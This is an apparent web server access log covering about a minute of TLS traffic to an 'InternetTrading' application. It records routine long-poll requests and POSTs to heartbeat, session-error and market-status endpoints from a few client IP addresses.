[09/Jan/2026:12:14:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932362328 HTTP/1.1" -
[09/Jan/2026:12:14:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932363447 HTTP/1.1" -
[09/Jan/2026:12:14:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:14:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:14:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932363661 HTTP/1.1" -
[09/Jan/2026:12:14:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932365242 HTTP/1.1" -
[09/Jan/2026:12:14:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932365331 HTTP/1.1" -
[09/Jan/2026:12:14:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932368477 HTTP/1.1" -
[09/Jan/2026:12:14:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932368338 HTTP/1.1" -
[09/Jan/2026:12:14:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932368339 HTTP/1.1" -
[09/Jan/2026:12:15:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932368767 HTTP/1.1" -
[09/Jan/2026:12:15:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932370388 HTTP/1.1" -
[09/Jan/2026:12:15:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932371336 HTTP/1.1" -
[09/Jan/2026:12:15:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932373495 HTTP/1.1" -
[09/Jan/2026:12:15:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932374041 HTTP/1.1" -
[09/Jan/2026:12:15:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932374329 HTTP/1.1" -
[09/Jan/2026:12:15:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932374330 HTTP/1.1" -
[09/Jan/2026:12:15:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932375609 HTTP/1.1" -
[09/Jan/2026:12:15:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:15:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932377332 HTTP/1.1" -
[09/Jan/2026:12:15:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932378529 HTTP/1.1" -
[09/Jan/2026:12:15:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932379170 HTTP/1.1" -
[09/Jan/2026:12:15:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932380338 HTTP/1.1" -
[09/Jan/2026:12:15:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932380338 HTTP/1.1" -
[09/Jan/2026:12:15:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932380781 HTTP/1.1" -
[09/Jan/2026:12:15:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932383571 HTTP/1.1" -
[09/Jan/2026:12:15:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932383340 HTTP/1.1" -
[09/Jan/2026:12:15:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:15:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:15:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932384360 HTTP/1.1" -
[09/Jan/2026:12:15:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932386028 HTTP/1.1" -
[09/Jan/2026:12:15:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932386327 HTTP/1.1" -
[09/Jan/2026:12:15:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932386328 HTTP/1.1" -
[09/Jan/2026:12:15:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:15:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:15:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932388614 HTTP/1.1" -
[09/Jan/2026:12:15:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932389325 HTTP/1.1" -
[09/Jan/2026:12:15:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932389463 HTTP/1.1" -
[09/Jan/2026:12:15:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:15:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:15:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932391160 HTTP/1.1" -
[09/Jan/2026:12:15:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932392330 HTTP/1.1" -
[09/Jan/2026:12:15:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932392330 HTTP/1.1" -
[09/Jan/2026:12:15:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932393656 HTTP/1.1" -
[09/Jan/2026:12:15:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:15:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932394592 HTTP/1.1" -
[09/Jan/2026:12:15:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932395326 HTTP/1.1" -
[09/Jan/2026:12:15:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932396403 HTTP/1.1" -
[09/Jan/2026:12:15:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932398677 HTTP/1.1" -
[09/Jan/2026:12:15:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932398338 HTTP/1.1" -
[09/Jan/2026:12:15:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932398338 HTTP/1.1" -
[09/Jan/2026:12:15:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932399724 HTTP/1.1" -
[09/Jan/2026:12:15:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932401338 HTTP/1.1" -
[09/Jan/2026:12:15:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932401673 HTTP/1.1" -
[09/Jan/2026:12:15:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932403719 HTTP/1.1" -
[09/Jan/2026:12:15:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932404340 HTTP/1.1" -
[09/Jan/2026:12:15:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932404340 HTTP/1.1" -
[09/Jan/2026:12:15:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932404854 HTTP/1.1" -
[09/Jan/2026:12:15:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:15:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932406905 HTTP/1.1" -
[09/Jan/2026:12:15:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932407325 HTTP/1.1" -
[09/Jan/2026:12:15:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932408771 HTTP/1.1" -
[09/Jan/2026:12:15:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932410049 HTTP/1.1" -
[09/Jan/2026:12:15:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932410331 HTTP/1.1" -
[09/Jan/2026:12:15:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932410331 HTTP/1.1" -
[09/Jan/2026:12:15:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932412054 HTTP/1.1" -
[09/Jan/2026:12:15:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932413325 HTTP/1.1" -
[09/Jan/2026:12:15:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932413810 HTTP/1.1" -
[09/Jan/2026:12:15:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:15:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:15:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932415175 HTTP/1.1" -
[09/Jan/2026:12:15:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932416325 HTTP/1.1" -
[09/Jan/2026:12:15:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932416325 HTTP/1.1" -
[09/Jan/2026:12:15:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932417256 HTTP/1.1" -
[09/Jan/2026:12:15:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:15:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
